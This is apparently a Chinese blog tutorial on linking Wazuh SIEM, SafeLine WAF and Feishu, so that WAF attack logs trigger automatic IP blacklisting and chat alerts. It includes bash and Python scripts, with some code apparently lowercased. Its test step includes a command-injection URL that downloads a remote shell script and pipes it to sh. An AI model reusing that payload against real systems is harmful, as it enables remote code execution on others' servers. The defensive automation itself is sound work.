一、背景
作为中小型企业的安全工程师,往往面临资源有限(没soc/soar)、人手不足的情况,很可能1个人要负责运营公司所有安全产品(例如我)。为了提升安全运营的工作效率,我们需要解决以下问题:
- 需避免频繁切换安全系统看日志
- 需避免人工封禁ip的傻瓜式操作
- 需将攻击详情以及处置告警及时通知到相关人员,并且方便随时讨论
本文主要介绍“wazuh x 雷池waf x 飞书”联动的场景,另外,实际工作中还能产生”wazuh x 网络/安全设备 x 飞书"、”wazuh x 服务器 x 飞书"、“wazuh x 蜜罐 x飞书“的应用,以后有时间再逐个开坑做案例分享。
二、软件介绍
wazuh | 一款国外的siem平台,可以理解为安全版的elk,具有日志统计分析、可视化、主机监控等功能。目前github有9.2k star,目前分为saas版和开源版。 wazuh分为server端以及agent,agent可以对服务器进行日志监控、漏洞检测、安全合规基线扫描、进程收集,集成virus total接口后可具备磁盘恶意文件检测能力。 本文中使用的是私有部署的开源版4.7.4,主要提供日志监控、下发指令自动处置的能力。 |
雷池waf | 雷池(safeline)是长亭科技耗时近 10 年倾情打造的waf,核心检测能力由智能语义分析算法驱动,目前分为社区版、专业版和企业版。 本文使用的是私有部署的社区版5.5.2,主要提供web安全检测防护能力、产生安全日志。 |
飞书 | 一款字节跳动旗下的工作协同平台和im软件,读者公司若使用钉钉、企业微信也可以达到一样效果。 本文使用的是商业版7.15.9,主要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。 |
三、工作流程图
效果图
四、前置工作
4.1 服务器2台
wazuh server服务器:操作系统本文以centos 7.6为例,该服务器需要部署wazuh server以及处置python脚本,cpu、内存、硬盘要求可参考官方文档和下图:
雷池waf服务器:32g内存,4核cpu,100g硬盘,操作系统本文以rocky linux 9.3为例,代替将要停服的centos7。该服务器需要部署雷池waf以及wazuh agent。
4.2 安装wazuh server
wazuh server的组件以及功能非常多,还支持集群部署。由于篇幅问题本文不展开进行阐述,旨在快速部署环境。
运行官方一键安装脚本,建议挂魔法,避免安装过程失败。
curl -so https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
安装完成后会输出web访问地址和admin密码,输入https://ip后即可访问wazuh的web界面。如果访问不了,请检查防火墙是否放开443端口。
info: --- summary ---
info: you can access the web interface https://<wazuh-dashboard-ip>
user: admin
password: <admin_password>
info: installation finished.
如还有安装问题,见官方安装文档并自行根据提示和日志进行排查。
4.3 安装雷池waf
- 安装docker
#删除旧版本docker sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine #安装最新版本docker sudo yum install -y yum-utils sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin sudo systemctl start docker sudo systemctl enable docker
-
安装雷池waf
cdn=1 bash -c "$(curl -fsslk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
安装完成后,注意防火墙放开9443端口,初始账号为admin,密码在安装完waf后会随机生成:
如还有安装问题,见官方安装文档。
4.4 安装wazuh agent
- 本地用浏览器登录wazuh web管理界面:
- 进入部署界面
- 生成wazuh agent部署命令
- 登录雷池waf服务器,执行以下命令,安装wazuh agent。注意wazuh server的1514、1515端口要开放给雷池waf服务器访问。
curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo wazuh_manager='192.168.31.24' wazuh_agent_name='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm sudo systemctl daemon-reload sudo systemctl enable wazuh-agent sudo systemctl start wazuh-agent
4.5 安装飞书
官网直接下载飞书安装即可。
五、配置过程
5.1 雷池waf配置
- 本地浏览器登录雷池waf管理界面,根据自己公司的实际情况,添加要保护的域名,例如a.test.com
- 添加一个自定义ip组,后面做黑名单用。
- 添加一个黑名单,关联上一步创建的ip组。
- 根据实际情况,配置雷池waf的安全功能
5.2 雷池waf服务器配置
- 登录雷池waf服务器,映射雷池pgsql数据库本地登录端口5432到宿主机,后续shell脚本需要登录数据库:
docker stop safeline-pg systemctl stop docker vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json ,#找到portbindings,修改为以下配置"portbindings":{"5432/tcp":[{"hostip":"127.0.0.1","hostport":"5432"}]}, systemctl start docker netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
- 获取pgsql数据库的密码:
cat /data/safeline/.env | grep postgres_password | tail -n 1 | awk -f '=' '{print $2}'
- 创建.pgpass,后续传递密码给shell脚本使用:
vim /var/scripts/.pgpass,添加以下参数 localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
- 创建shell脚本,主要功能是生成syslog日志给wazuh监控使用:
mkdir /var/log/waf_alert touch /var/log/waf_alert/waf_alert.log touch /var/scripts/waf_log.sh chmod u+x /var/scripts/waf_log.sh vim /var/scripts/waf_log.sh,添加以下代码 #!/bin/bash # 设置pgpassfile环境变量 export pgpassfile=/var/scripts/.pgpass # postgresql 的连接信息 pg_host="localhost" port="5432" database="safeline-ce" username="safeline-ce" hostname=$(hostname) program_name="safeline-ce" #获取最后一条waf攻击事件日志的id,日志数据存储在mgt_detect_log_basic表中 last_id=$(psql -h $pg_host -p $port -u $username -d $database -t -p footer=off -c "select id from public.mgt_detect_log_basic order by id desc limit 1") while true;do #从pgsql数据库中获取waf的最新攻击事件日志,如果没有产生新日志,这条sql会返回空 raw_log=$(psql -h $pg_host -p $port -u $username -d $database -t -p footer=off -c "select to_char(to_timestamp(timestamp) at time zone 'asia/hong_kong', 'mon dd hh24:mi:ss'), concat(province, city) as src_city, src_ip, concat(host, ':', dst_port) as host,url_path,rule_id,id from public.mgt_detect_log_basic where id > '$last_id' order by id asc limit 1") #检查sql查询结果,如果有新加的日志就执行以下操作,把sql查询结果重写为syslog日志,并记录到/var/log/waf_alert/waf_alert.log if [ -n "$raw_log" ]; then alert_time=$(echo "$raw_log" | awk -f ' \\| ' '{print $1}') src_city=$(echo "$raw_log" | awk -f ' \\| ' '{print $2}') src_ip=$(echo "$raw_log" | awk -f ' \\| ' '{print $3}') dst_host=$(echo "$raw_log" | awk -f ' \\| ' '{print $4}') url=$(echo "$raw_log" | awk -f ' \\| ' '{print $5}') rule_id=$(echo "$raw_log" | awk -f ' \\| ' '{print $6}') event_id=$(echo "$raw_log" | awk -f ' \\| ' '{print $7}') syslog="src_city:$src_city, src_ip:$src_ip, dst_host:$dst_host, url:$url, rule_id:$rule_id, log_id:$event_id" echo $alert_time $hostname $program_name: $syslog >> /var/log/waf_alert/waf_alert.log #更新最后处理的事件id last_id=$(($last_id+1)) fi sleep 3 done
- 后台运行监控脚本,并且添加开机启动:
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 & vim /etc/rc.local,添加以下代码 nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
5.3 飞书配置
添加一个安全告警通知群和群机器人,后面需要通过这个机器人发告警卡片到群里。
选择自定义机器人。
保存webhook地址,后面配置wazuh脚本要用。
5.4 wazuh server配置
- 添加触发告警时调用的脚本,一共有2个文件,这是custom-waf文件,不用做任何修改
touch /var/ossec/integrations/custom-waf chmod 750 /var/ossec/integrations/custom-waf chown root:wazuh /var/ossec/integrations/custom-waf vim /var/ossec/integrations/custom-waf ,添加以下代码: #!/bin/sh # copyright (c) 2015, wazuh inc. # created by wazuh, inc. <info@wazuh.com>. # this program is free software; you can redistribute it and/or modify it under the terms of gplv2 wpython_bin="framework/python/bin/python3" script_path_name="$0" dir_name="$(cd $(dirname ${script_path_name}); pwd -p)" script_name="$(basename ${script_path_name})" case ${dir_name} in */active-response/bin | */wodles*) if [ -z "${wazuh_path}" ]; then wazuh_path="$(cd ${dir_name}/../..; pwd)" fi python_script="${dir_name}/${script_name}.py" ;; */bin) if [ -z "${wazuh_path}" ]; then wazuh_path="$(cd ${dir_name}/..; pwd)" fi python_script="${wazuh_path}/framework/scripts/${script_name}.py" ;; */integrations) if [ -z "${wazuh_path}" ]; then wazuh_path="$(cd ${dir_name}/..; pwd)" fi python_script="${dir_name}/${script_name}.py" ;; esac ${wazuh_path}/${wpython_bin} ${python_script} "$@"
- 这是封禁ip以及发飞书告警的python脚本custom-waf.py,我用的是centos自带的python 2.7.5,注释部分需更改为自己的信息:
mkdir /var/log/waf/block_ip.log chown wazuh:wazuh /var/log/waf/block_ip.log chmod 644 /var/log/waf/block_ip.log touch /var/ossec/integrations/custom-waf.py chmod 750 /var/ossec/integrations/custom-waf.py chown root:wazuh /var/ossec/integrations/custom-waf.py vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
#!/usr/bin/env python import sys import json import ssl import requests import os import datetime import urllib3 from urllib3.exceptions import insecurerequestwarning urllib3.disable_warnings(insecurerequestwarning) def read_alert_file(): alert_file = open(sys.argv[1]) alert_json = json.loads(alert_file.read()) alert_file.close() timestamp = alert_json['predecoder']['timestamp'] hostname = alert_json['predecoder']['hostname'] description = alert_json['rule']['description'] full_log = alert_json['full_log'] src_city = alert_json['data']['src_city'] src_ip = alert_json['data']['src_ip'] dst_host = alert_json['data']['dst_host'] dst_url = alert_json['data']['dst_url'] print(src_ip) return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url def login(host,username,password): csrf_url = f"{host}/api/open/auth/csrf" response = requests.get(csrf_url, verify=false) data = response.json() csrf_token = data["data"]["csrf_token"] login_data = { 'csrf_token': csrf_token, 'username': username, 'password': password, } login_url = f"{host}/api/open/auth/login" response = requests.post(login_url,json=login_data,verify=false) data = response.json() jwt = data["data"]["jwt"] return jwt def get_info(host,jwt): url = f"{host}/api/open/ipgroup?top=1001" headers={ "content-type": "application/json", "authorization": f"bearer {jwt}" } response = requests.get(url,headers=headers,verify=false) data = response.json() ip_group_id = data["data"]["nodes"][-1]["id"] ip_group_name = data["data"]["nodes"][-1]["comment"] ips = data["data"]["nodes"][-1]["ips"] ips_count = len(ips) url = f"{host}/api/open/rule" requests.get(url,headers=headers,verify=false) return ip_group_id,ip_group_name,ips,ips_count def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip): url = f"{host}/api/open/ipgroup" ips.append(src_ip) headers={ "content-type": "application/json", "authorization": f"bearer {jwt}" } body = { "id":ip_group_id, "reference":"", "comment":ip_group_name, "ips":ips } requests.put(url,json=body,headers=headers,verify=false) def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip): url = f"{host}/api/open/ipgroup" ip_group_id = ip_group_id +1 ip_group_name = "black_ip_group_name-" + str(ip_group_id) src_ip = [src_ip] headers={ "content-type": "application/json", "authorization": f"bearer {jwt}" } body = { "reference":"", "comment":ip_group_name, "ips":src_ip } requests.post(url,json=body,headers=headers,verify=false) return ip_group_id,ip_group_name def create_rule(host,jwt,ip_group_id,ip_group_name): url = f"{host}/api/open/rule" headers={ "content-type": "application/json", "authorization": f"bearer {jwt}" } body = { "action": 1, "comment": ip_group_name, "is_enabled": true, "pattern": [{ "k": "src_ip", "op": "in", "v": str(ip_group_id), "sub_k": "" }] } requests.post(url,json=body,headers=headers,verify=false) def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url): headers={ "content-type": "application/json" } msg_data = { "msg_type": "interactive", "card": { "header": { "title": { "tag": "plain_text", "content": description }, "template": "red" }, "elements": [ { "tag": "div", "text": { "tag": "lark_md", "content": "**请注意:以下攻击源ip已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源ip: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url } }, { "tag": "hr" }, { "tag": "div", "text": { "tag": "lark_md", "content": "**原始syslog日志:**" + "\n" + full_log } }, ] } } requests.post(webhook_url,json=msg_data,headers=headers) def print_log(log_file_path,src_ip): now = datetime.datetime.now() time_str = now.strftime('%b %d %h:%m:%s') log_template = "{time} prod-waf safe-line:{ip} has been blocked." message = log_template.format(time=time_str, ip=src_ip) log_file_path = log_file_path with open(log_file_path, 'a') as log_file: log_file.write(message + '\n') def main(host,username,password,log_file_path,webhook_url): timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file() jwt = login(host,username,password) ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt) if ips_count > 999: ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip) create_rule(host,jwt,ip_group_id,ip_group_name) else: update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip) feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url) print_log(log_file_path,src_ip) host = "https://192.168.1.1:9443" #替换成waf地址 log_file_path = "/var/log/waf/block_ip.log" webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址 username = "admin" password = "123456" #替换成waf密码 if __name__ == "__main__": main(host,username,password,log_file_path,webhook_url) sys.exit(0)
- 添加wazuh server解码器
touch /var/ossec/etc/decoders/safeline-waf-decoders.xml chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml vim /var/ossec/etc/decoders/safeline-waf-decoders.xml,添加以下代码:
<decoder name="safeline-ce"> <program_name>safeline-ce</program_name> <regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex> <order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order> </decoder>
- 添加wazuh server告警规则
touch /var/ossec/etc/rules/safeline-waf-rules.xml chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml vim /var/ossec/etc/rules/safeline-waf-rules.xml,添加以下代码:
<group name="syslog,safeline,"> <rule id="119101" level="7"> <decoded_as>safeline-ce</decoded_as> <match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名 <description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上 </rule>
- 修改wazuh server的ossec配置
如图vim /var/ossec/etc/ossec.conf,添加以下代码: <integration> <name>custom-waf</name> <rule_id>119101</rule_id> <alert_format>json</alert_format> </integration>
- 重启wazuh server,使所有配置生效
/var/ossec/bin/wazuh-control restart
5.5 wazuh agent配置
- 登录雷池waf服务器,配置ossec监听waf_alert.log日志文件
最后如图vim /var/ossec/etc/ossec.conf ,添加以下配置 <localfile> <log_format>syslog</log_format> <location>/var/log/waf_alert/waf_alert.log</location> </localfile>
- 重启wazuh agent,使ossec配置生效
systemctl restart wazuh-agent
六、大功告成,测试效果
对网站进行漏扫或者输入攻击测试语句,触发告警,查看拦截结果,例如
https://a.test.com/view.php?doc=11.jpg&format=swf&issplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-o-|sh
飞书告警卡片,群里的相关人员都可以看到非常清晰的消息卡片
雷池waf ip黑名单,可以看到攻击源ip 47.1.1.1已经自动添加
当攻击者想再次尝试访问网站,已经被拦截
如果想统计一共封了多少个黑名单ip,可以直接查看日志
cat /var/log/waf/block_ip.log
七、发散思维
由于个人精力有限,关于飞书告警其实我还有2个想法没实现,有兴趣和开发能力的同学可以继续探索:
- 为了避免误封ip,其实推送到飞书的卡片消息可以增加两个交互按钮:“确认封禁ip”,“忽略”,当点击“确认封禁ip”时才触发封禁ip,同时发送一条处置结果到群里做通知。
- 告警信息推送到飞书群后,现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的自动化流程能力,经过精心的表格字段设计、自动化流程配置和api开发,可以作为低成本的安全数据中心和soar使用,例如定期推送安全周报到飞书安全工作群、定期汇总恶意ip清单并推送给安全设备等。
发表评论